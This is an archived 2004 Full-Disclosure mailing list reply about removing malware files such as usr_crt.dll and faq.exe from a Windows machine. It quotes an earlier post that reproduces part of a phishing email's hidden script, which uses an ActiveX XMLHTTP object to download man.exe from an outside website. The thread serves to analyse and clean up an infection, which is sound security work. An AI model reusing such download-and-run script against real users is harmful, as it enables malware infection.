full-disclosure - Removal?

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <6734753723.20040204094158@home.se>
From: CNQQTROVMYSY at spammotel.com (Anders)
Subject: Removal?

Hi,

> Then you should be able to remove the files.  I would also check the
> registry for entries.  You can use Ctrl F to search for the file names
> "usr_crt.dll" and "faq.exe" in the registry and remove them.  Then reboot,
> and you should be able to remove them.
>>
>> Norton is fully patched to current as is windows update.
>>
> Any idea how this got on your computer?

It was installed by the "man.exe" he spoke of in an earlier post...
(three hours before his first "Removal?" post)

----------
From: axid3j1al axid3j1al <axid3j1al@...mail.com>
Subject: [Full-Disclosure] Old Hack?

> Has anyone see this little code injection hack.
> Is this old?

> Email has subject line "congranulations! you won $1169"
> with body

> http://sinaraevent.com/bbs/zipcode/6.htm

> and code

> <textarea id="code" style="display:none;">

> var x = new ActiveXObject("Microsoft.XMLHTTP");
> x.Open("GET", "http://sinaraevent.com/bbs/zipcode/man.exe",0);
> x.Send();
----------

.....

Best regards,
Anders